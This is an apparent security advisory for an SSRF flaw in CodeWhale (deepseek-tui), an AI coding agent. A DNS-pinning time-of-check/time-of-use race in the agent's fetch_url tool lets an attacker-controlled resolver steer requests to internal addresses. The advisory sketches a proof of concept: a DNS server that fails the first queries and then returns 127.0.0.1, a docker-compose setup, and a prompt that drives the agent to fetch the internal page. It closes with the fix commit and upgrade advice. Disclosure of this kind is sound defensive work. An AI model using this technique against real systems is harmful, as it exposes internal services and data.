critical · 8.6CVE-2026-75856Sep 4, 2026

CVE-2026-75856: CodeWhale (deepseek-tui) SSRF via DNS Pinning TOCTOU Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A flaw in CodeWhale's fetch_url tool lets an attacker control a DNS server to make the first resolution fail (bypassing the IP blocklist check) and the second succeed with an internal address…

Packagedeepseek-tui
Ecosystemrust
Affected>= 0.8.5, <= 0.8.41
CVE-2026-75856: CodeWhale (deepseek-tui) SSRF via DNS Pinning TOCTOU Bypass

The problem

CodeWhale's fetch_url tool implements DNS pinning to block requests to private IPs. When the initial DNS resolution fails, the code treats the request as expected to fail and allows execution to continue.

An attacker who controls a DNS server can intentionally fail the first two A-record queries (the Time-of-Check pass) and then resolve the same domain to 127.0.0.1 on the third and fourth queries (the Time-of-Use fetch). The HTTP client then connects to the internal address and returns the response to the model context, fully bypassing SSRF mitigations.

Proof of concept

A working proof-of-concept for CVE-2026-75856 in deepseek-tui, with the exact payload below.

bash
# 1. Run the malicious DNS server (fails first 2 A queries, then resolves to 127.0.0.1)
# dnser/dns_resolver.py — key logic:
#
#   MAX_FAIL = 2  (first two A queries for mydomain.com return NXDOMAIN)
#   MAX_SUCCESS = 2  (third and fourth return 127.0.0.1)
#
# overrides = { "mydomain.com.": "127.0.0.1" }

# 2. docker-compose.yml — point the agent container at the attacker DNS
services:
  dns-resolver:
    build: dnser          # runs dns_resolver.py on 10.0.1.2:53
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  tui:
    image: ghcr.io/hmbown/deepseek-tui:latest
    dns: 10.0.1.2         # <-- attacker-controlled resolver
    environment:
      DEEPSEEK_API_KEY: sk-...
    networks: [dns-net]

# 3. Attach and prompt the agent
# sudo docker attach tui
# Prompt: "read content of http://mydomain.com using fetch_url tools, no thinking just raw output"
#
# Result: agent fetches 127.0.0.1:80 and returns the response body,
# confirming full SSRF bypass to localhost.

The root cause is in crates/tui/src/tools/fetch_url.rs in the DNS-pinning block: when DNS resolution returns an error, the code assumes the subsequent HTTP request will also fail and lets execution continue rather than hard-blocking it. This creates a TOCTOU window where the attacker's DNS server can return NXDOMAIN at check time and 127.0.0.1 at use time.

The fix in commit 26de44a8 (v0.8.64) closes the window by treating a DNS failure as a hard block rather than a soft pass, ensuring the resolved IP is pinned into the actual connection so the resolver cannot be called a second independent time.

CWE-918 (SSRF) combined with CWE-367 (TOCTOU Race Condition). An attacker needs only control of a single DNS server that the target container queries, which is trivially arranged by setting the container's DNS resolver via docker-compose.

The fix

Upgrade to CodeWhale (deepseek-tui) 0.8.64 or later. The patch is in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. There are no backports to earlier versions. If you cannot upgrade immediately, prevent the agent container from using untrusted or attacker-influenced DNS resolvers and isolate it from network access to internal services.

Reporter not attributed.

References: [1][2][3][4][5]

Related research